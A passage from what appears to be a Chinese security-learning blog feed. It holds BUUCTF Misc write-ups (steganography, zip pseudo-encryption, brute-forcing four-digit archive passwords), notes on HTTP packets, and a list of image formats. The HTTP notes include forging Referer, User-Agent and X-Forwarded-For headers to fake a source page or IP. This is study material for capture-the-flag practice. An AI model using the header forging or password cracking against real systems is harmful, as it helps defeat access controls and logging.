<tag> 渗透学习 </tag>
</tags>
</entry>
<entry>
<title>BUUCTF Misc(1)</title>
<link href="/2022/01/09/BUUCTF-Misc-1/"/>
<url>/2022/01/09/BUUCTF-Misc-1/</url>
<content type="html"><![CDATA[<p>原博主链接:<a href="https://davidcheyenneone.github.io/Misc/BUUCTF/BUUCTF%20Misc%201%EF%BC%881-20%EF%BC%89.html">https://davidcheyenneone.github.io/Misc/BUUCTF/BUUCTF%20Misc%201%EF%BC%881-20%EF%BC%89.html</a></p><h3 id="1、签到题"><a href="#1、签到题" class="headerlink" title="1、签到题"></a>1、签到题</h3><p>由题目直接获得flag</p><h3 id="2、金三胖"><a href="#2、金三胖" class="headerlink" title="2、金三胖"></a>2、金三胖</h3><p>下载文件,得到一份GIF文件,首先猜测flag是否藏在某些帧中</p><p>用GIFFrame查看帧,发现第20、50、78帧藏有flag</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201092239389.png" style="zoom: 67%;" /><h3 id="3、二维码"><a href="#3、二维码" class="headerlink" title="3、二维码"></a>3、二维码</h3><p>打开文件得到一张二维码,尝试用在线二维码解码解密,得到secret is here,但这并不是flag。</p><p>于是尝试用foremost分离文件得到一个压缩包,压缩包有一个加密文本文件,提示是4位纯数字密码,用ARCHOR破解密码,打开文件即可得到flag。</p><h3 id="4、你竟然赶我走"><a href="#4、你竟然赶我走" class="headerlink" title="4、你竟然赶我走"></a>4、你竟然赶我走</h3><p>首先尝试文件分离发现没有其他文件,于是尝试用十六进制编辑器查看,在文件尾得到flag</p><h3 id="5、N种方法解决"><a href="#5、N种方法解决" class="headerlink" title="5、N种方法解决"></a>5、N种方法解决</h3><p>发现是一个exe文件,尝试运行,无法打开,于是将后缀改为txt查看文本,发现似乎是一个图片网址,拖入浏览器查看,得到一个二维码图片,解密即可。</p><h3 id="6、大白"><a href="#6、大白" class="headerlink" title="6、大白"></a>6、大白</h3><p>看到图片以及题目提示我们易知,是图片长度问题</p><p>于是使用十六进制编辑器查看修改高度即可得到flag。</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201092241842.jpeg"></p><p>第二行:</p><p>0-3列为宽:00 00 01 F4为十六进制,十进制为500</p><p>4-7列为长:00 00 01 A4为十六进制,十进制为420。</p><p>即图片规格为500×420。</p><h3 id="7、基础破解"><a href="#7、基础破解" class="headerlink" title="7、基础破解"></a>7、基础破解</h3><p>题目提示压缩包为4位数字加密,用ARCHPR暴力破解得到密码,打开文本,得到base64,解密即可得到flag</p><h3 id="8、乌镇峰会种图"><a href="#8、乌镇峰会种图" class="headerlink" title="8、乌镇峰会种图"></a>8、乌镇峰会种图</h3><p>首先查看文件大小,排除有隐藏文件。于是用十六进制查看器打开图片。</p><p>查找flag字段即可得到flag</p><h3 id="9、LSB"><a href="#9、LSB" class="headerlink" title="9、LSB"></a>9、LSB</h3><p>由题目得到提示,首先打开Stegsolve查看图片</p><p>进行数据抽取得到一个二维码,解密即可得到flag</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201092242055.png"></p><p><strong>数据抽取</strong>:</p><p>1)<em>RGB是红绿蓝</em>,他们的值实际代表亮度,数字越大亮度越高。</p><p>亮度一共有256个级别,从0到255,因为2^8=256,因此一共有8个通道。</p><p>2)<em>Alpha是透明度</em>,该通道用256级灰度来记录图像中的透明度信息,定义透明、不透明和半透明区域(alpha的值为0就是全透明,alpha 的值为 255 则表示不透明)</p><p>3)Extra By(额外的):分为row(行)和column(纵)</p><p> 每个像素用R,G,B三个分量表示,那么一张图片就像一个矩阵,矩阵的每个单位就是(0<del>255,0</del>255,0~255)</p><p> 也就会有是纵排列和行排列了,一般事先访问行再访问列</p><p>4)Bit Order(位顺序):</p><p>MSB是一串数据的最高位,LSB是一串数据的最低位。</p><p>5)Bit Plane Order(位平面的顺序)</p><p> 整个图像分解为8个位平面,从LSB(最低有效位0)到MSB(最高有效位7)随着从位平面0 到位平面7,位平面图像的特征逐渐变得复杂,细节不断增加。</p><p>一般图片是24位,也就是3个8 ,可以看成三明治,比如BGR就是B为三明治第一层 G为第二层 R为第三层。</p><p> 转载于:<a href="http://www.cnblogs.com/cat47/p/11483478.html">http://www.cnblogs.com/cat47/p/11483478.html</a></p><h3 id="10、文件中的秘密"><a href="#10、文件中的秘密" class="headerlink" title="10、文件中的秘密"></a>10、文件中的秘密</h3><p>提示文件中的秘密于是首先点开属性查看图片的详细信息,即可得到flag</p><h3 id="11、wireshark"><a href="#11、wireshark" class="headerlink" title="11、wireshark"></a>11、wireshark</h3><p>用wireshark打开文件,根据题目提示查找pass字段,即可得到flag</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201092243074.png"></p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201092243343.png"></p><h3 id="12、rar"><a href="#12、rar" class="headerlink" title="12、rar"></a>12、rar</h3><p>由提示该压缩包为纯四位数密码,先解密得到密码,打开文件即可得到flag</p><h3 id="13、zip伪加密"><a href="#13、zip伪加密" class="headerlink" title="13、zip伪加密"></a>13、zip伪加密</h3><p> 一般伪加密在文件头的加密标志位做修改,进而再打开文件时识被别为加密压缩包。 一般来说,文件各个区域开头就是50 4B,然后后面两个字节是版本,再后面两个就是判断是否有加密的关键了。</p><p><font color='red'>原理:</font></p><p>zip文件由三部分组成:压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201092338887.png"></p><p><strong>压缩文件数据区:</strong></p><p>50 4B 03 04:头文件标记(0x04034b50)<br>14 00:解压文件所需 pkware 版本<br>01 00:<strong>全局方式位标记(有无加密) 头文件标记后2bytes</strong><br>08 00:压缩方式<br>5A 7E:最后修改文件时间<br>F7 46:最后修改文件日期<br>16 B5 80 14:CRC-32校验(1480B516)<br>19 00 00 00:压缩后尺寸(25)<br>17 00 00 00:未压缩尺寸(23)<br>07 00:文件名长度<br>00 00:扩展记录长度 </p><p><strong>压缩文件目录区:</strong></p><p>50 4B 01 02:目录中文件文件头标记(0x02014b50)<br>3F 00:压缩使用的 pkware 版本<br>14 00:解压文件所需 pkware 版本<br>09 00:<strong>全局方式位标记(有无加密,伪加密的关键) 目录文件标记后4bytes</strong><br>08 00:压缩方式<br>5A 7E:最后修改文件时间<br>F7 46:最后修改文件日期<br>16 B5 80 14:CRC-32校验(1480B516)<br>19 00 00 00:压缩后尺寸(25)<br>17 00 00 00:未压缩尺寸(23)<br>07 00:文件名长度<br>24 00:扩展字段长度<br>00 00:文件注释长度<br>00 00:磁盘开始号<br>00 00:内部文件属性<br>20 00 00 00:外部文件属性<br>00 00 00 00:局部头部偏移量 </p><p><strong>压缩文件目录结束标志:</strong></p><p>50 4B 05 06:目录结束标记<br>00 00:当前磁盘编号<br>00 00:目录区开始磁盘编号<br>01 00:本磁盘上纪录总数<br>01 00:目录区中纪录总数<br>59 00 00 00:目录区尺寸大小<br>3E 00 00 00:目录区对第一张磁盘的偏移量<br>00 00:ZIP 文件注释长度</p><p>修改压缩源文件目录区的全布局方式标记比特值之后即可对文件加密或解密</p><p>全局方式位标记的四个数字中只有<strong>第二个数字</strong>对其有影响,其它的不管为何值,都不影响它的加密属性!<br>第二个数字为奇数时 –>加密<br>第二个数字为偶数时 –>未加密</p><p><strong>辨别当前的zip是真的加密还是伪加密?</strong></p><p><strong>无加密:</strong><br>压缩源文件数据区的全局加密应当为 00 00(头文件标记后2bytes)<br>且压缩源文件目录区的全局方式标记应当为00 00 (目录文件标记后4bytes)</p><p><strong>假加密:</strong><br>压缩源文件数据区的全局加密应当为 00 00<br>且压缩文件目录区的全局方式标记应当为 09 00</p><p><strong>真加密:</strong><br>压缩源文件数据区的全局加密应当为 09 00<br>且压缩源文件目录区的全局方式应当为 09 00</p><p>zip伪加密解决方法:</p><p>(原文链接:<a href="https://blog.csdn.net/pdsu161530247/article/details/73612910">https://blog.csdn.net/pdsu161530247/article/details/73612910</a> )</p><p><strong>1)使用 ZipCenOp.jar (需要java环境)</strong></p><p>命令如下:</p><p><font color='red'><strong>java -jar ZipCenOp.jar r xxx.zip</strong></font></p><p>将压缩包和ZipCenOp放在同一目录下,用cmd执行命令即可,若success后,可直接打开压缩包</p><p>?:处理后压缩包要用winrar才能打开7-zip打开仍需要密码,不知道为什么会这样</p><p><strong>2)修改文件头加密标志位</strong></p><p>头文件标记后2bytes、目录文件标记后4bytes这两处(四位中的)第二位为偶数即可</p><p>针对此题:</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201101636357.png" /><p>我们使用winhex打开压缩包后,首先查找50 4B字段,可以得到该压缩包的三个部分:压缩源文件数据区+压缩源文件目录区+压缩源文件目录结束标志。</p><p>在数据区头文件后的2个字节后可以看到全局加密为09 00,说明是加密的;</p><p>在目录区头文件标记后的4个字节后可以看到全局方式标记为09 00说明是加密的;</p><p>将全局方位标记处的9修改偶数即可</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201101646071.png" style="zoom:80%;" /><h3 id="14、QR"><a href="#14、QR" class="headerlink" title="14、QR"></a>14、QR</h3><img src="https://gitee.com/mie1732/emc/raw/master/img/202201101658366.png" alt="image-20220110165847281" style="zoom: 50%;" /><h3 id="15、被嗅探的流量"><a href="#15、被嗅探的流量" class="headerlink" title="15、被嗅探的流量"></a>15、被嗅探的流量</h3><p>下载题目得到一个pcapng文件,用wireshark打开</p><p>先在分组字节流中查找flag字符串,发现flag</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201131550577.png" style="zoom: 33%;" /><h3 id="16、镜子里面的世界"><a href="#16、镜子里面的世界" class="headerlink" title="16、镜子里面的世界"></a>16、镜子里面的世界</h3><p>下载得到一张图片提示到:Look very closely,于是猜想是不是LSB隐写,并且图片名为steg,于是先用zsteg检测图片里的隐写数据(png、bmp),得到flag。</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201131601717.png" alt="kali里使用" style="zoom: 67%;" /><h3 id="17、ningen"><a href="#17、ningen" class="headerlink" title="17、ningen"></a>17、ningen</h3><h4 id="法一:foremost提取"><a href="#法一:foremost提取" class="headerlink" title="法一:foremost提取"></a>法一:foremost提取</h4><p>观察图片没有发现什么,题目提示有密码,于是尝试用foremost提取(猜测可能有压缩文件)。</p><p>提取后得到一个加密的压缩包,题目提示为4位的纯数字密码,爆破即可。</p><h5 id="各文件的头尾总结"><a href="#各文件的头尾总结" class="headerlink" title="各文件的头尾总结"></a>各文件的头尾总结</h5><p>(原博客:<a href="https://blog.csdn.net/qq_29277155/article/details/98060616%EF%BC%89">https://blog.csdn.net/qq_29277155/article/details/98060616)</a></p><h6 id="1-图片文件"><a href="#1-图片文件" class="headerlink" title="1.图片文件"></a>1.图片文件</h6><p>JPEG (jpg/jpe/jpeg) 文件头:FFD8FF 文件尾:FF D9 <br>PNG (png) 文件头:89504E47 文件尾:AE 42 60 82<br>GIF (gif) 文件头:47494638 文件尾:00 3B<br>TIFF (tif) 文件头:49492A00 文件尾:<br>Windows Bitmap (bmp) 文件头:424D 文件尾:<br>ico(ico) 文件头:00 00 01 00<br>Adobe Photoshop (psd) 文件头:38425053 文件尾:</p><h6 id="2-office文件"><a href="#2-office文件" class="headerlink" title="2.office文件"></a>2.office文件</h6><p>MS Word/Excel (xls.or.doc) 文件头:D0CF11E0<br>MS Access (mdb) 文件头:5374616E64617264204A<br>WordPerfect (wpd) 文件头:FF575043<br>Adobe Acrobat (pdf) 文件头:255044462D312E<br>application/vnd.visio(vsd) 文件头:d0cf11e0a1b11ae1<br>Email [thorough only] (eml) 文件头:44656C69766572792D646174653A<br>Outlook Express (dbx) 文件头:CFAD12FEC5FD746F<br>Outlook (pst) 文件头:2142444E<br>Rich Text Format (rtf) 文件头:7B5C727466 </p><p>txt 文件(txt) 文件头:Unicode:feff / Unicode big endian:fffe / UTF-8:efbbbf /ANSI编码是没有文件头的</p><h6 id="3-压缩包文件"><a href="#3-压缩包文件" class="headerlink" title="3.压缩包文件"></a>3.压缩包文件</h6><p>ZIP Archive (zip) 文件头:504B0304 文件尾:50 4B<br>RAR Archive (rar) 文件头:52617221</p><h6 id="4-音频文件"><a href="#4-音频文件" class="headerlink" title="4.音频文件"></a>4.音频文件</h6><p>Wave (wav) 文件头:57415645<br>audio(Audio) 文件头: 4D546864,<br>audio/x-aac(aac) 文件头:fff1 / fff9</p><h6 id="5-视频文件"><a href="#5-视频文件" class="headerlink" title="5.视频文件"></a>5.视频文件</h6><p>AVI (avi), 文件头:41564920<br>Real Audio (ram) 文件头:2E7261FD<br>Real Media (rm) 文件头:2E524D46<br>MPEG (mpg) 文件头:000001BA<br>MPEG (mpg) 文件头:000001B3<br>Quicktime (mov) 文件头:6D6F6F76<br>Windows Media (asf) 文件头:3026B2758E66CF11<br>MIDI (mid) 文件头:4D546864</p><h6 id="6-代码文件"><a href="#6-代码文件" class="headerlink" title="6.代码文件"></a>6.代码文件</h6><p>XML (xml) 文件头:3C3F786D6C 文件尾:<br>HTML (html) 文件头:68746D6C3E</p><p>Quicken (qdf) 文件头:AC9EBD8F<br>Windows Password (pwl) 文件头:E3828596</p><h6 id="7-其他类型"><a href="#7-其他类型" class="headerlink" title="7.其他类型"></a>7.其他类型</h6><p>windows证书文件(der) 文件头:30 82 03 C9<br>CAD (dwg) 文件头:41433130 文件尾:<br>Windows Shortcut (lnk) 文件头:4C000000<br>Windows reg (reg) 文件头:5245474544495434</p><h4 id="法二:winhex"><a href="#法二:winhex" class="headerlink" title="法二:winhex"></a><strong>法二:winhex</strong></h4><p>一个完整的 jpg 文件由 FF D8 开头,FF D9结尾,图片查看器会忽略 FF D9 以后的内容,因此可以在 jpg 文件中加入其他文件。</p><p>经过上面的分析,知道图片中隐藏了zip文件,zip文件的开头16进制为50 4B 03 04 ,先搜索16进制文本 FF D9,然后后面跟着50 4B 03 04,于是就可以从 50 开始,复制到最后(因为这里只有一个zip,所以复制到最后),另存为新文件,就得到了隐藏的压缩包。</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201131718550.png" style="zoom: 67%;" /><p>分别为选块起始位置和选块尾部,点击编辑,导出文件(zip)即可。</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201131723120.png" style="zoom:67%;" /><h3 id="18、小明的保险箱"><a href="#18、小明的保险箱" class="headerlink" title="18、小明的保险箱"></a>18、小明的保险箱</h3><p>下载得到jpg图片后先用foremost提取,得到加密压缩包。提示为四位纯数字密码,暴力破解,打开压缩包即可得到flag。</p><h3 id="19、爱因斯坦"><a href="#19、爱因斯坦" class="headerlink" title="19、爱因斯坦"></a>19、爱因斯坦</h3><p>拿到图片看到是黑白,首先想到的是LSB隐写,但是用Stegsolve查看后没有发现。</p><p>于是查看图片信息,在备注栏发现“this_is_not_password”字符串</p><p>用foremost提取,发现一个加密压缩包,尝试用刚才的字符串解密,得到flag</p><h3 id="20、easycap"><a href="#20、easycap" class="headerlink" title="20、easycap"></a>20、easycap</h3><p>打开流量包发现全为TCP协议,追踪TCP流即可发现flag。</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201132101297.png" alt="追踪TCP流" style="zoom: 50%;" />]]></content>
<categories>
<category> Misc </category>
</categories>
<tags>
<tag> Misc </tag>
<tag> BUUCTF </tag>
</tags>
</entry>
<entry>
<title>渗透:数据包扩展</title>
<link href="/2022/01/09/%E6%B8%97%E9%80%8F%EF%BC%9A%E6%95%B0%E6%8D%AE%E5%8C%85%E6%89%A9%E5%B1%95/"/>
<url>/2022/01/09/%E6%B8%97%E9%80%8F%EF%BC%9A%E6%95%B0%E6%8D%AE%E5%8C%85%E6%89%A9%E5%B1%95/</url>
<content type="html"><![CDATA[<h2 id="HTTP-S数据包"><a href="#HTTP-S数据包" class="headerlink" title="HTTP/S数据包"></a>HTTP/S数据包</h2><p>Request:请求数据包</p><p>Response:返回数据包</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201092229950.png" style="zoom:50%;" /><p>有代理:实现两次修改</p><p>Proxy:代理服务器</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201092229796.png" style="zoom:50%;" /><p>http:三层,明文 HTTP TCP IP</p><p>https:四层,加密 HTTP SSL/TLS TCP IP(安全性高)</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201092229254.png" style="zoom: 50%;" /><h4 id="HTTP-简要通信过程"><a href="#HTTP-简要通信过程" class="headerlink" title="HTTP 简要通信过程"></a>HTTP 简要通信过程</h4><p>建立连接——>发送请求数据包——>返回响应数据包——>关闭连接 </p><p>1.浏览器建立与 web 服务器之间的连接</p><p>2.浏览器将请求数据打包(生成请求数据包)并发送到 web 服务器 </p><p>3.web 服务器将处理结果打包(生成响应数据包)并发送给浏览器 </p><p>4.web 服务器关闭连接</p><h2 id="Request请求数据包数据格式"><a href="#Request请求数据包数据格式" class="headerlink" title="Request请求数据包数据格式"></a>Request请求数据包数据格式</h2><p>1.请求行:请求类型/请求资源路径、协议的版本和类型 </p><p>2.请求头:一些键值对,浏览器与 web 服务器之间都可以发送,特定的某种含义</p><p>3.空行:请求头与请求体之间用一个空行隔开</p><p>4.请求体:要发送的数据(一般 post 提交会使用)</p><p>例:user=123&pass=123</p><p>eg:</p><p><strong>Request Headers</strong></p><p>POST /adduser HTTP/1.1<br>Host: localhost:8030<br>Connection: keep-alive<br>Content-Length: 16<br>Pragma: no-cache<br>Cache-Control: no-cache<br>Origin: chrome-extension://fdmmgilgnpjigdojojpjoooidkmcomcm<br>User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)<br>Chrome/66.0.3359.181 Safari/537.36 //不同平台不一样<br>Content-Type: application/x-www-form-urlencoded<br>Accept: <em>/</em><br>Accept-Encoding: gzip, deflate, br<br>Accept-Language: zh-CN,zh;q=0.9</p><p><strong>Form Data</strong></p><p>name=name&age=11</p><p>#请求行<br>请求行由三个标记组成:请求方法、请求 URL 和 HTTP 版本,它们用空格分享。<br>例如:GET /index.html HTTP/1.1<br>HTTP 规划定义了 8 种可能的请求方法:<br>GET:检索 URL 中标识资源的一个简单请求<br>HEAD:与 GET 方法相同,服务器只返回状态行和头标,并不返回请求文档<br>POST:服务器接受被写入客户端输出流中的数据的请求<br>PUT:服务器保存请求数据作为指定 URL 新内容的请求<br>DELETE:服务器删除 URL 中命令的资源的请求<br>OPTIONS:关于服务器支持的请求方法信息的请求<br>TRACE:web 服务器反馈 Http 请求和其头标的请求<br>CONNECT :已文档化,但当前未实现的一个方法,预留做隧道处理</p><p>#请求头<br>由关键字/值对组成,每行一对,关键字和值用冒号分享。请求头标通知服务器腾于客户端的功能和标识。<br>1)HOST: 主机或域名地址<br>2)Accept:指浏览器或其他客户可以接受的 MIME 文件格式。Servlet 可以根据它判断并返回适当的文件格式。<br>3)User-Agent:是客户浏览器名<br>4)Host:对应网址 URL 中的 Web 名称和端口号。<br>5)Accept-Langeuage:指出浏览器可以接受的语言种类,如 en 或 en-us,指英语。<br>6)connection:用来告诉服务器是否可以维持固定的 HTTP 连接。http 是无连接的,HTTP/1.1 使用 Keep-Alive为默认值,这样,当浏览器需要多个文件时(比如一个 HTML 文件和相关的图形文件),不需要每次都建立连接<br>7)Cookie:浏览器用这个属性向服务器发送 Cookie。Cookie 是在浏览器中寄存的小型数据体,它可以记载和服务器相关的用户信息,也可以用来实现会话功能。<br>8)Referer(来源):表明产生请求的网页URL。如/icconcept/index.jsp中点击一个链接到网页/icwork/search ,在向服务器发送的GET/icwork/search中的请求中,Referer是<a href="http://hostname:8080/icconcept/index.jsp%E3%80%82%E8%BF%99%E4%B8%AA%E5%B1%9E%E6%80%A7%E5%8F%AF%E4%BB%A5%E7%94%A8%E6%9D%A5%E8%B7%9F%E8%B8%AAWeb%E8%AF%B7%E6%B1%82%E6%98%AF%E4%BB%8E%E4%BB%80%E4%B9%88%E7%BD%91%E7%AB%99%E6%9D%A5%E7%9A%84%E3%80%82">http://hostname:8080/icconcept/index.jsp。这个属性可以用来跟踪Web请求是从什么网站来的。</a><br>9)Content-Type:用来表名 request 的内容类型。可以用 HttpServletRequest 的 getContentType()方法取得。<br>10)Accept-Charset:指出浏览器可以接受的字符编码。英文浏览器的默认值是 ISO-8859-1.<br>11)Accept-Encoding:指出浏览器可以接受的编码方式。编码方式不同于文件格式,它是为了压缩文件并加速文件传递速度。浏览器在接收到 Web 响应之后先解码,然后再检查文件格式。</p><p>#空行<br>最后一个请求头标之后是空行,发送回车符和退行,通知服务器以下不再有头标。</p><p>#请求数据<br>使用 POST 传送,最常使用的是 Content-Type 和 Content-Length 头标。</p><h2 id="Request返回数据包数据格式"><a href="#Request返回数据包数据格式" class="headerlink" title="Request返回数据包数据格式"></a>Request返回数据包数据格式</h2><p>一个响应由四个部分组成;状态行、响应头标、空行、响应数据。 </p><p>1.状态行:协议版本、数字形式的状态代码和状态描述,个元素之间以空格分隔 </p><p>2.响应头标:包含服务器类型、日期、长度、内容类型等 </p><p>3.空行:响应头与响应体之间用空行隔开 </p><p>4.响应数据:浏览器会将实体内容中的数据取出来,生成相应的页面</p><h4 id="HTTP-响应码(status):"><a href="#HTTP-响应码(status):" class="headerlink" title="HTTP 响应码(status):"></a>HTTP 响应码(status):</h4><p>1xx:信息,请求收到,继续处理<br>2xx:成功,行为被成功地接受、理解和采纳<br>3xx:重定向,为了完成请求,必须进一步执行的动作<br>4xx:客户端错误<br>5xx:服务器错误</p><p>200:存在文件<br>403:存在文件夹<br>3xx:均可能存在<br>404:都不存在<br>500:均可能存在</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202201092230998.png" alt="image-20211002190124418"></p><h2 id="注:"><a href="#注:" class="headerlink" title="注:"></a>注:</h2><p> 1、可通过修改数据包来修改网页信息</p><p> 2、浏览器与模拟器访问的抓包区别,按照APP的格式在浏览器访问</p><h4 id="来源页伪造:"><a href="#来源页伪造:" class="headerlink" title="来源页伪造:"></a>来源页伪造:</h4><p> 1、referer:用来跟踪Web请求是从什么网站来的。</p><p> (若没有则表示直接访问)</p><p> 2、User-Agent:访问途径信息,电脑浏览器/手机访问信息</p><p> (NetType:微信网络类型字段)</p><h4 id="PHP的ip获取方式:(可用于伪造ip等)"><a href="#PHP的ip获取方式:(可用于伪造ip等)" class="headerlink" title="PHP的ip获取方式:(可用于伪造ip等)"></a>PHP的ip获取方式:(可用于伪造ip等)</h4><p>1、X_FORWARDED_FOR:HTTP 扩展头部,主要是为了让 Web 服务器获取访问用户的真实 IP 地址(未必真实)</p><p>2、REMOTE_ADDR:一般用于抓取访客ip,但不能抓取有proxy访客的真实ip。和 Web 服务器握手的 IP 是什么(这个不能伪造)。很多用户都通过代理来访问服务器的,那么假如使用该全局变量,PHP获取到的 IP 就是代理服务器的 IP(不是用户的)。</p><p>3、CLIENT_IP:</p><p>一个请求可能经过的路径:</p><p>客户端=>(正向代理=>透明代理=>服务器反向代理=>)Web服务器</p>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> 渗透学习 </tag>
</tags>
</entry>
<entry>
<title>图片格式区别</title>
<link href="/2021/11/11/%E5%9B%BE%E7%89%87%E6%A0%BC%E5%BC%8F%E5%8C%BA%E5%88%AB/"/>
<url>/2021/11/11/%E5%9B%BE%E7%89%87%E6%A0%BC%E5%BC%8F%E5%8C%BA%E5%88%AB/</url>
<content type="html"><![CDATA[<h3 id="1、BMP"><a href="#1、BMP" class="headerlink" title="1、BMP"></a>1、BMP</h3><p>Bitmap(位图)</p><p>windows操作系统中的标准图像文件格式,应用广泛图像信息丰富,几乎不进行压缩。</p><p>缺点:占用磁盘空间过大(在单机比较流行)</p><h3 id="2、JPEG-amp-JPG"><a href="#2、JPEG-amp-JPG" class="headerlink" title="2、JPEG& JPG"></a>2、JPEG& JPG</h3><p>Joint Photographic Experts Group</p><p>JPEG是文件格式,JPG是扩展名。JPEG的文件格式一般有两种文件扩展名:.jpg和.jpeg。</p><p>一种有损压缩格式,能够将图像压缩在很小的储存空间,图像中重复或不重要的资料会被丢失,体积小,兼容性好</p><p>缺点:某些操作系统不支持四位文件后缀,因此常用jpg;容易造成图像数据损伤</p><h3 id="3、PNG"><a href="#3、PNG" class="headerlink" title="3、PNG"></a>3、PNG</h3><p>Portable Network Graphics(便携式网络图形)</p><p>支持无损压缩的位图图形格式,支持<u>索引</u>、<u>灰度</u>、RGB三种颜色方案以及<u>Alpha通道</u>等特性。能将文件压缩(非失真压缩)到极限利于传输但保留所有图像品质。显示速度快(在浏览器上采用流式浏览,即使经过交错处理的图像会在完全下载之前提供浏览者一个基本的图像内容,然后再逐渐清晰起来。它允许连续读出和写入图像数据)。支持透明效果。</p><h3 id="4、TIFF"><a href="#4、TIFF" class="headerlink" title="4、TIFF"></a>4、TIFF</h3><p>Tag Image File Format(标签图像文件格式)</p><p>拓展名:.tif</p><p>主要用来存储包括照片和艺术图在内的图像,支持多色彩系统,独立于操作系统。印刷业使用广泛。</p><p>缺点:因采用多种压缩方法,程序设计复杂度高</p><h3 id="5、GIF"><a href="#5、GIF" class="headerlink" title="5、GIF"></a>5、GIF</h3><p>Graphics Interchange Format(图形交换格式)</p><p>用于以超文本标志语言方式显示索引彩色图像,在因特网和其他在线服务系统上得到广泛应用。</p><p>压缩比高,占用内存少</p><h3 id="6、PCX"><a href="#6、PCX" class="headerlink" title="6、PCX"></a>6、PCX</h3><p>PC Paintbrush Exchange</p><p>pcx压缩为无损压缩。</p><p>最广泛接受的DOS图像标准之一,然而这种使用格式已经被其他更复杂的图像格式如GIF、JPEG、PNG渐渐取代。</p><p>缺点:不受web浏览器支持</p><h3 id="7、TGA"><a href="#7、TGA" class="headerlink" title="7、TGA"></a>7、TGA</h3><p>(计算机图像文件格式)</p><p>结构简单,属于一种图形、图像数据的通用格式,是计算机生成图像向电视转换的一种首选格式。</p><p>最大特点是可以做出不规则形状的图形、图像文件。</p><p>采用的不失真的压缩方式</p><h3 id="8、FPX"><a href="#8、FPX" class="headerlink" title="8、FPX"></a>8、FPX</h3><p>影像被存储成一系列高低不同的分辨率,因此当影像被放大时仍可维持维持影像的质素。</p><p>修饰FPX影像时,只会处理被修饰的部分,减少处理器以及记忆体的负担,减少影像处理时间。</p><h3 id="9、SVG"><a href="#9、SVG" class="headerlink" title="9、SVG"></a>9、SVG</h3><p>Scalable Vector Graphics(矢量图形)</p><p>开放标准的矢量图形语言(基于XML),可任意放大图形显示,边缘异常清晰,其中的文字可保留可编辑可搜寻的状态,无文字体的限制,生成文件小,下载快,适用于设计高分辨率的web图形网页(用户可直接用代码描绘图像)</p><h3 id="10、PSD"><a href="#10、PSD" class="headerlink" title="10、PSD"></a>10、PSD</h3><p>Photoshop Document</p><p>非压缩的原始文件保存格式。</p><p>photoshop图像处理软件的专用文件格式,扫描仪不能直接生成该格式文件。</p><p>PSD文件有时容量会很大,但由于可以保留所有原始信息,在图像处理中对于尚未制作完成的图像,一般选用PSD格式</p><h3 id="11、CDR"><a href="#11、CDR" class="headerlink" title="11、CDR"></a>11、CDR</h3><p>著名绘图软件CoreIDRAW的专用图形文件格式。</p><p>CDR可以记录文件的属性、位置和分页等。但兼容度较差,只能在CoreIDraw中打开</p><h3 id="12、PCD"><a href="#12、PCD" class="headerlink" title="12、PCD"></a>12、PCD</h3><p>Kodak PhotoCD(照片激光唱片),文件扩展名:.pod</p><p>Kodak开发的一种Photo CD文件格式,其他软件系统只能对其进行读取。该格式使用YCC色彩模式定义图像中的色彩。</p><p>YCC和CIE色彩空间包含比显示器和打印设备的RGB色和 CMYK色多得多的色彩。PhotoCD图像大多具有非常高的质量。</p><h3 id="13、EXIF"><a href="#13、EXIF" class="headerlink" title="13、EXIF"></a>13、EXIF</h3><p>与JPEG格式相同,区别:除保存图像数据外,还能存储摄影日期,使用光圈,快门,闪光灯数据等曝光资料和附带信息以及小尺寸图像</p><h3 id="14、DXF"><a href="#14、DXF" class="headerlink" title="14、DXF"></a>14、DXF</h3><p>Drawing Exchange Format</p><p>为AutoCAD的图形文件格式,它以ASCLL方式存储图形,咋表现图形大小方面十分精确,可被CoreIDraw和3DS等大型软件编辑</p><h3 id="15、UFO"><a href="#15、UFO" class="headerlink" title="15、UFO"></a>15、UFO</h3><p>为UIead Photolm apct的专用图像格式,能完整记录所有Photolmapct处理过的图像属性。</p><p>UFO文件以对象来代替图层记录图像信息。</p><h3 id="16、EPS"><a href="#16、EPS" class="headerlink" title="16、EPS"></a>16、EPS</h3><p>Encapsulated Post Script</p><p>EPS文件是桌面印刷系统普遍使用的通用交换格式当中的一种综合格式。EPS文件格式又被称为带有预视图象的PS格式,它是由一个PostScript语言的文本文件和一个(可选)低分辨率的由PICT或TIFF格式描述的代表像组成。</p><p>主要用于排版打印等输出工作</p><h3 id="17、AI"><a href="#17、AI" class="headerlink" title="17、AI"></a>17、AI</h3><p>一种分层文件,每个对象都是独立的,以这种格式保存的文件便于修改。</p><p>这种格式文件可以在任何尺寸大小下按最高分辨率输出,兼容性较高</p><h3 id="18、RAW"><a href="#18、RAW" class="headerlink" title="18、RAW"></a>18、RAW</h3><p>RAW Image Format</p><p>一种记录了数码相机传感器的原始信息,同时记录了由相机拍摄所产生的一些元数据(Metadata,如ISO的设置、快门速度、光圈值、白平衡等)的文件。RAW是未经处理、也未经压缩的格式,可以把RAW概念化为“原始图像编码数据”或更形象的称为“数字底片”</p><p>即相机保留的一组数据。此数据即为拍摄数据,可以随意调整</p>]]></content>
<categories>
<category> 图片格式 </category>
</categories>
<tags>
<tag> 图片格式 </tag>
</tags>
</entry>
<entry>
<title>图片隐写</title>
<link href="/2021/11/05/%E5%9B%BE%E7%89%87%E9%9A%90%E5%86%99/"/>
<url>/2021/11/05/%E5%9B%BE%E7%89%87%E9%9A%90%E5%86%99/</url>
